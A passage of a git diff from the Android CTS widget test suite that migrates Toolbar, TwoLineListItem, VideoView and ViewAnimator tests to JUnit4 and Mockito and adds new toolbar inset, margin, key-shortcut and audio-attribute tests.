+        // navigation is bigger than currently set end content inset, we should be getting that
+        // bigger value now
+        assertEquals(50, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(35, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(35, mMainToolbar.getCurrentContentInsetEnd());
+    }
+
+    @Test
+    public void testCurrentContentInsetsRtl() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mMainToolbar.setLayoutDirection(View.LAYOUT_DIRECTION_RTL));
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetsRelative(20, 25));
+        assertEquals(25, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetStartWithNavigation(50));
+        assertEquals(50, mMainToolbar.getContentInsetStartWithNavigation());
+        // Since we haven't configured the navigation icon itself, the current content insets
+        // should stay the same
+        assertEquals(25, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(20, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.setNavigationIcon(R.drawable.icon_green));
+        assertEquals(50, mMainToolbar.getContentInsetStartWithNavigation());
+        // Since we have configured the navigation icon, and the currently set start inset with
+        // navigation is bigger than currently set start content inset, we should be getting that
+        // bigger value now
+        assertEquals(25, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        mActivityRule.runOnUiThread(() -> mMainToolbar.setContentInsetEndWithActions(35));
+        assertEquals(35, mMainToolbar.getContentInsetEndWithActions());
+        // Since we haven't configured the menu content, the current content insets
+        // should stay the same
+        assertEquals(25, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(25, mMainToolbar.getCurrentContentInsetEnd());
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
+        assertEquals(35, mMainToolbar.getContentInsetEndWithActions());
+        // Since we have configured the menu content, and the currently set start inset with
+        // navigation is bigger than currently set end content inset, we should be getting that
+        // bigger value now
+        assertEquals(35, mMainToolbar.getCurrentContentInsetLeft());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetStart());
+        assertEquals(50, mMainToolbar.getCurrentContentInsetRight());
+        assertEquals(35, mMainToolbar.getCurrentContentInsetEnd());
+    }
+
     @UiThreadTest
+    @Test
     public void testPopupTheme() {
         mMainToolbar.setPopupTheme(R.style.ToolbarPopupTheme_Test);
         assertEquals(R.style.ToolbarPopupTheme_Test, mMainToolbar.getPopupTheme());
     }
 
+    @UiThreadTest
+    @Test
     public void testNavigationOnClickListener() {
         View.OnClickListener mockListener = mock(View.OnClickListener.class);
         mMainToolbar.setNavigationOnClickListener(mockListener);
 
         verify(mockListener, never()).onClick(any(View.class));
 
-        getInstrumentation().runOnMainSync(() -> mMainToolbar.getNavigationView().performClick());
+        mMainToolbar.getNavigationView().performClick();
         verify(mockListener, times(1)).onClick(any(View.class));
 
         verifyNoMoreInteractions(mockListener);
     }
+
+    @Test
+    public void testItemViewAttributes() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
+
+        Menu menu = mMainToolbar.getMenu();
+
+        MenuItem menuItem1 = menu.findItem(R.id.action_highlight);
+        assertNotNull(menuItem1.getContentDescription());
+        assertNotNull(menuItem1.getTooltipText());
+
+        View itemView1 = mActivity.findViewById(menuItem1.getItemId());
+        assertEquals(menuItem1.getContentDescription(), itemView1.getContentDescription());
+        assertEquals(menuItem1.getTooltipText(), itemView1.getTooltipText());
+
+        MenuItem menuItem2 = menu.findItem(R.id.action_edit);
+        assertNull(menuItem2.getContentDescription());
+        assertNull(menuItem2.getTooltipText());
+
+        View itemView2 = mActivity.findViewById(menuItem2.getItemId());
+        assertEquals(menuItem2.getTitle(), itemView2.getContentDescription());
+        assertEquals(menuItem2.getTitle(), itemView2.getTooltipText());
+    }
+
+    @Test
+    public void testKeyShortcuts() throws Throwable {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mMainToolbar,
+                () -> mMainToolbar.inflateMenu(R.menu.toolbar_menu));
+
+        final Boolean[] shareItemClicked = new Boolean[]{false};
+        mMainToolbar.getMenu().findItem(R.id.action_share).setOnMenuItemClickListener(
+                item -> shareItemClicked[0] = true);
+
+        // Make sure valid menu shortcuts get handled by toolbar menu
+        long now = SystemClock.uptimeMillis();
+        KeyEvent handledShortcutKey = new KeyEvent(now, now, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_S, 0, KeyEvent.META_CTRL_ON);
+        mInstrumentation.runOnMainSync(() ->
+                assertTrue(mActivity.dispatchKeyShortcutEvent(handledShortcutKey))
+        );
+        assertTrue(shareItemClicked[0]);
+
+        final KeyEvent unhandledShortcutKey = new KeyEvent(now, now, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_A, 0, KeyEvent.META_CTRL_ON);
+
+        // Make sure we aren't eating unused shortcuts.
+        mInstrumentation.runOnMainSync(() ->
+                assertFalse(mActivity.dispatchKeyShortcutEvent(unhandledShortcutKey))
+        );
+
+        mActivity.resetCounts();
+
+        // Make sure that unhandled shortcuts don't prepare menus (since toolbar is handling that).
+        mInstrumentation.sendKeySync(unhandledShortcutKey);
+        assertEquals(1, mActivity.mKeyShortcutCount);
+        assertEquals(0, mActivity.mPrepareMenuCount);
+        assertEquals(0, mActivity.mCreateMenuCount);
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsCtsActivity.java
new file mode 100644
index 0000000..701368f
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsCtsActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.Toolbar;
+
+/**
+ * A minimal application for {@link Toolbar} test.
+ */
+public class ToolbarWithMarginsCtsActivity extends Activity {
+    private Toolbar mMainToolbar;
+
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.toolbar_with_margins_layout);
+
+        mMainToolbar = (Toolbar) findViewById(R.id.toolbar_main);
+        setActionBar(mMainToolbar);
+    }
+
+    public Toolbar getMainToolbar() {
+        return mMainToolbar;
+    }
+}
+
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
new file mode 100644
index 0000000..5bba423
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.Toolbar;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ToolbarWithMarginsTest {
+    private ToolbarWithMarginsCtsActivity mActivity;
+    private Toolbar mMainToolbar;
+
+    @Rule
+    public ActivityTestRule<ToolbarWithMarginsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ToolbarWithMarginsCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mMainToolbar = mActivity.getMainToolbar();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testGetTitleMargins() {
+        assertEquals(5, mMainToolbar.getTitleMarginStart());
+        assertEquals(10, mMainToolbar.getTitleMarginTop());
+        assertEquals(15, mMainToolbar.getTitleMarginEnd());
+        assertEquals(20, mMainToolbar.getTitleMarginBottom());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetTitleMargins() {
+        Toolbar toolbar = (Toolbar) mActivity.findViewById(R.id.toolbar2);
+
+        toolbar.setTitleMargin(5, 10, 15, 20);
+        assertEquals(5, toolbar.getTitleMarginStart());
+        assertEquals(10, toolbar.getTitleMarginTop());
+        assertEquals(15, toolbar.getTitleMarginEnd());
+        assertEquals(20, toolbar.getTitleMarginBottom());
+
+        toolbar.setTitleMarginStart(25);
+        toolbar.setTitleMarginTop(30);
+        toolbar.setTitleMarginEnd(35);
+        toolbar.setTitleMarginBottom(40);
+        assertEquals(25, toolbar.getTitleMarginStart());
+        assertEquals(30, toolbar.getTitleMarginTop());
+        assertEquals(35, toolbar.getTitleMarginEnd());
+        assertEquals(40, toolbar.getTitleMarginBottom());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TwoLineListItemCtsActivity.java b/tests/tests/widget/src/android/widget/cts/TwoLineListItemCtsActivity.java
index 68413ff..fe8b637 100644
--- a/tests/tests/widget/src/android/widget/cts/TwoLineListItemCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/TwoLineListItemCtsActivity.java
@@ -16,11 +16,10 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.widget.TwoLineListItem;
+import android.widget.cts.R;
 
 /**
  * Stub activity for testing {@link TwoLineListItem}
diff --git a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
index 4ee22a1..f931a63 100644
--- a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
@@ -16,65 +16,77 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
 
 import android.app.Activity;
 import android.content.Context;
 import android.content.res.Resources;
-import android.test.ActivityInstrumentationTestCase;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
+import android.widget.RelativeLayout.LayoutParams;
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
-import android.widget.RelativeLayout.LayoutParams;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link TwoLineListItem}.
  */
-public class TwoLineListItemTest extends
-        ActivityInstrumentationTestCase<TwoLineListItemCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TwoLineListItemTest {
     private Activity mActivity;
 
-    public TwoLineListItemTest() {
-        super("android.widget.cts", TwoLineListItemCtsActivity.class);
+    @Rule
+    public ActivityTestRule<TwoLineListItemCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TwoLineListItemCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         AttributeSet attrs = mActivity.getResources().getLayout(R.layout.twolinelistitem);
         assertNotNull(attrs);
 
         new TwoLineListItem(mActivity);
-        try {
-            new TwoLineListItem(null);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
-
         new TwoLineListItem(mActivity, attrs);
-        try {
-            new TwoLineListItem(null, attrs);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
         new TwoLineListItem(mActivity, null);
-
         new TwoLineListItem(mActivity, attrs, 0);
-        try {
-            new TwoLineListItem(null, attrs, 0);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
         new TwoLineListItem(mActivity, null, 0);
         new TwoLineListItem(mActivity, attrs, Integer.MAX_VALUE);
         new TwoLineListItem(mActivity, attrs, Integer.MIN_VALUE);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new TwoLineListItem(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        AttributeSet attrs = mActivity.getResources().getLayout(R.layout.twolinelistitem);
+        new TwoLineListItem(null, attrs);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        AttributeSet attrs = mActivity.getResources().getLayout(R.layout.twolinelistitem);
+        new TwoLineListItem(null, attrs, 0);
+    }
+
+    @Test
     public void testGetTexts() {
         TwoLineListItem twoLineListItem =
             (TwoLineListItem) mActivity.findViewById(R.id.twoLineListItem);
@@ -88,6 +100,8 @@
                 twoLineListItem.getText2().getText().toString());
     }
 
+    @UiThreadTest
+    @Test
     public void testOnFinishInflate() {
         MockTwoLineListItem twoLineListItem = new MockTwoLineListItem(mActivity);
         TextView text1 = new TextView(mActivity);
diff --git a/tests/tests/widget/src/android/widget/cts/VideoViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/VideoViewCtsActivity.java
index e831f04..903c5c2 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoViewCtsActivity.java
@@ -16,11 +16,10 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.widget.VideoView;
+import android.widget.cts.R;
 
 /**
  * A minimal application for {@link VideoView} test.
diff --git a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
index 265b802..bc6ba61 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
@@ -16,34 +16,54 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.MediaUtils;
-import android.cts.util.PollingCheck;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
 import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnCompletionListener;
-import android.media.MediaPlayer.OnErrorListener;
-import android.media.MediaPlayer.OnPreparedListener;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.View.MeasureSpec;
 import android.widget.MediaController;
 import android.widget.VideoView;
 
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.List;
 
 /**
  * Test {@link VideoView}.
  */
-public class VideoViewTest extends ActivityInstrumentationTestCase2<VideoViewCtsActivity> {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoViewTest {
     /** Debug TAG. **/
     private static final String TAG = "VideoViewTest";
     /** The maximum time to wait for an operation. */
@@ -57,123 +77,57 @@
     /** delta for duration in case user uses different decoders on different
         hardware that report a duration that's different by a few milliseconds */
     private static final int DURATION_DELTA = 100;
+    /** AudioAttributes to be used by this player */
+    private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_GAME)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+            .build();
 
-    private VideoView mVideoView;
-    private Activity mActivity;
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private VideoView mVideoView;
     private String mVideoPath;
 
-    private static class MockListener {
-        private boolean mTriggered;
+    @Rule
+    public ActivityTestRule<VideoViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(VideoViewCtsActivity.class);
 
-        MockListener() {
-            mTriggered = false;
-        }
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mVideoView = (VideoView) mActivity.findViewById(R.id.videoview);
 
-        public boolean isTriggered() {
-            return mTriggered;
-        }
-
-        protected void onEvent() {
-            mTriggered = true;
-        }
-    }
-
-    private static class MockOnPreparedListener extends MockListener
-            implements OnPreparedListener {
-        public void onPrepared(MediaPlayer mp) {
-            super.onEvent();
-        }
-    }
-
-    private static class MockOnErrorListener extends MockListener implements OnErrorListener {
-        public boolean onError(MediaPlayer mp, int what, int extra) {
-            super.onEvent();
-            return false;
-        }
-    }
-
-    private static class MockOnCompletionListener extends MockListener
-            implements OnCompletionListener {
-        public void onCompletion(MediaPlayer mp) {
-            super.onEvent();
-        }
+        mVideoPath = prepareSampleVideo();
+        assertNotNull(mVideoPath);
     }
 
     private boolean hasCodec() {
         return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
     }
 
-    /**
-     * Instantiates a new video view test.
-     */
-    public VideoViewTest() {
-        super("android.widget.cts", VideoViewCtsActivity.class);
-    }
-
-    /**
-     * Find the video view specified by id.
-     *
-     * @param id the id
-     * @return the video view
-     */
-    private VideoView findVideoViewById(int id) {
-        return (VideoView) mActivity.findViewById(id);
-    }
-
     private String prepareSampleVideo() throws IOException {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = mActivity.getResources().openRawResource(R.raw.testvideo);
-            target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE);
-
+        try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+             OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
             final byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
-        } finally {
-            if (source != null) {
-                source.close();
-            }
-            if (target != null) {
-                target.close();
-            }
         }
 
         return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
     }
 
-    /**
-     * Wait for an asynchronous media operation complete.
-     * @throws InterruptedException
-     */
-    private void waitForOperationComplete() throws InterruptedException {
-        Thread.sleep(OPERATION_INTERVAL);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mVideoPath = prepareSampleVideo();
-        assertNotNull(mVideoPath);
-        mVideoView = findVideoViewById(R.id.videoview);
-    }
-
-    private void makeVideoView() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                MediaController mediaController = new MediaController(mActivity);
-                mVideoView.setMediaController(mediaController);
-            }
+    private void makeVideoView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            MediaController mediaController = new MediaController(mActivity);
+            mVideoView.setMediaController(mediaController);
         });
         mInstrumentation.waitForIdleSync();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new VideoView(mActivity);
 
@@ -182,7 +136,8 @@
         new VideoView(mActivity, null, 0);
     }
 
-    public void testPlayVideo1() throws Throwable {
+    @Test
+    public void testPlayVideo() throws Throwable {
         makeVideoView();
         // Don't run the test if the codec isn't supported.
         if (!hasCodec()) {
@@ -190,60 +145,93 @@
             return;
         }
 
-        final MockOnPreparedListener preparedListener = new MockOnPreparedListener();
-        mVideoView.setOnPreparedListener(preparedListener);
-        final MockOnCompletionListener completionListener = new MockOnCompletionListener();
-        mVideoView.setOnCompletionListener(completionListener);
+        final MediaPlayer.OnPreparedListener mockPreparedListener =
+                mock(MediaPlayer.OnPreparedListener.class);
+        mVideoView.setOnPreparedListener(mockPreparedListener);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mVideoView.setVideoPath(mVideoPath);
-            }
-        });
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return preparedListener.isTriggered();
-            }
-        }.run();
-        assertFalse(completionListener.isTriggered());
+        final MediaPlayer.OnCompletionListener mockCompletionListener =
+                mock(MediaPlayer.OnCompletionListener.class);
+        mVideoView.setOnCompletionListener(mockCompletionListener);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mVideoView.start();
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mVideoView.setVideoPath(mVideoPath));
+        verify(mockPreparedListener, within(TIME_OUT)).onPrepared(any(MediaPlayer.class));
+        verify(mockPreparedListener, times(1)).onPrepared(any(MediaPlayer.class));
+        verifyZeroInteractions(mockCompletionListener);
+
+        mActivityRule.runOnUiThread(mVideoView::start);
         // wait time is longer than duration in case system is sluggish
-        new PollingCheck(mVideoView.getDuration() + TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return completionListener.isTriggered();
-            }
-        }.run();
+        verify(mockCompletionListener, within(TIME_OUT)).onCompletion(any(MediaPlayer.class));
+        verify(mockCompletionListener, times(1)).onCompletion(any(MediaPlayer.class));
     }
 
+    private static final class MyPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        boolean mMatchingPlayerFound = false;
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            for (AudioPlaybackConfiguration apc : configs) {
+                if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED
+                        && apc.getAudioAttributes().getUsage() == AUDIO_ATTR.getUsage()
+                        && apc.getAudioAttributes().getContentType()
+                                == AUDIO_ATTR.getContentType()) {
+                    mMatchingPlayerFound = true;
+                    break;
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testAudioAttributes() throws Throwable {
+        makeVideoView();
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testAudioAttributes(): codec is not supported");
+            return;
+        }
+
+        final MediaPlayer.OnCompletionListener mockCompletionListener =
+                mock(MediaPlayer.OnCompletionListener.class);
+        mVideoView.setOnCompletionListener(mockCompletionListener);
+
+        mVideoView.setAudioAttributes(AUDIO_ATTR);
+        mVideoView.setAudioFocusRequest(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT);
+
+        final AudioManager am = new AudioManager(mActivity);
+        final MyPlaybackCallback myCb = new MyPlaybackCallback();
+        mActivityRule.runOnUiThread(() -> am.registerAudioPlaybackCallback(myCb, null));
+        mActivityRule.runOnUiThread(() -> mVideoView.setVideoPath(mVideoPath));
+        mActivityRule.runOnUiThread(mVideoView::start);
+        // wait time is longer than duration in case system is sluggish
+        verify(mockCompletionListener, within(TIME_OUT)).onCompletion(any(MediaPlayer.class));
+        verify(mockCompletionListener, times(1)).onCompletion(any(MediaPlayer.class));
+
+        // TODO is there a more compact way to test this with mockito?
+        assertTrue("Audio playback configuration not found for VideoView",
+                myCb.mMatchingPlayerFound);
+    }
+
+    @Test
     public void testSetOnErrorListener() throws Throwable {
         makeVideoView();
-        final MockOnErrorListener listener = new MockOnErrorListener();
-        mVideoView.setOnErrorListener(listener);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                String path = "unknown path";
-                mVideoView.setVideoPath(path);
-                mVideoView.start();
-            }
+        final MediaPlayer.OnErrorListener mockErrorListener =
+                mock(MediaPlayer.OnErrorListener.class);
+        mVideoView.setOnErrorListener(mockErrorListener);
+
+        mActivityRule.runOnUiThread(() -> {
+            String path = "unknown path";
+            mVideoView.setVideoPath(path);
+            mVideoView.start();
         });
         mInstrumentation.waitForIdleSync();
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return listener.isTriggered();
-            }
-        }.run();
+        verify(mockErrorListener, within(TIME_OUT)).onError(
+                any(MediaPlayer.class), anyInt(), anyInt());
+        verify(mockErrorListener, times(1)).onError(any(MediaPlayer.class), anyInt(), anyInt());
     }
 
+    @Test
     public void testGetBufferPercentage() throws Throwable {
         makeVideoView();
         // Don't run the test if the codec isn't supported.
@@ -252,27 +240,21 @@
             return;
         }
 
-        final MockOnPreparedListener prepareListener = new MockOnPreparedListener();
-        mVideoView.setOnPreparedListener(prepareListener);
+        final MediaPlayer.OnPreparedListener mockPreparedListener =
+                mock(MediaPlayer.OnPreparedListener.class);
+        mVideoView.setOnPreparedListener(mockPreparedListener);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mVideoView.setVideoPath(mVideoPath);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mVideoView.setVideoPath(mVideoPath));
         mInstrumentation.waitForIdleSync();
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return prepareListener.isTriggered();
-            }
-        }.run();
+        verify(mockPreparedListener, within(TIME_OUT)).onPrepared(any(MediaPlayer.class));
+        verify(mockPreparedListener, times(1)).onPrepared(any(MediaPlayer.class));
         int percent = mVideoView.getBufferPercentage();
         assertTrue(percent >= 0 && percent <= 100);
     }
 
     @UiThreadTest
+    @Test
     public void testResolveAdjustedSize() {
         mVideoView = new VideoView(mActivity);
 
@@ -288,6 +270,7 @@
         assertEquals(specSize, resolvedSize);
     }
 
+    @Test
     public void testGetDuration() throws Throwable {
         // Don't run the test if the codec isn't supported.
         if (!hasCodec()) {
@@ -295,16 +278,13 @@
             return;
         }
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mVideoView.setVideoPath(mVideoPath);
-            }
-        });
-        waitForOperationComplete();
+        mActivityRule.runOnUiThread(() -> mVideoView.setVideoPath(mVideoPath));
+        SystemClock.sleep(OPERATION_INTERVAL);
         assertTrue(Math.abs(mVideoView.getDuration() - TEST_VIDEO_DURATION) < DURATION_DELTA);
     }
 
     @UiThreadTest
+    @Test
     public void testSetMediaController() {
         final MediaController ctlr = new MediaController(mActivity);
         mVideoView.setMediaController(ctlr);
diff --git a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
index 696761b..7710dcc 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
@@ -16,15 +16,16 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -35,38 +36,39 @@
 import android.widget.RelativeLayout;
 import android.widget.ViewAnimator;
 
-public class ViewAnimatorTest extends
-        ActivityInstrumentationTestCase2<ViewAnimatorCtsActivity> {
-    private ViewAnimator mViewAnimator;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewAnimatorTest {
     private Activity mActivity;
-    private Instrumentation mInstrumentation;
+    private ViewAnimator mViewAnimator;
     private AttributeSet mAttributeSet;
 
-    public ViewAnimatorTest() {
-        super("android.widget.cts", ViewAnimatorCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewAnimatorCtsActivity> mActivityRule =
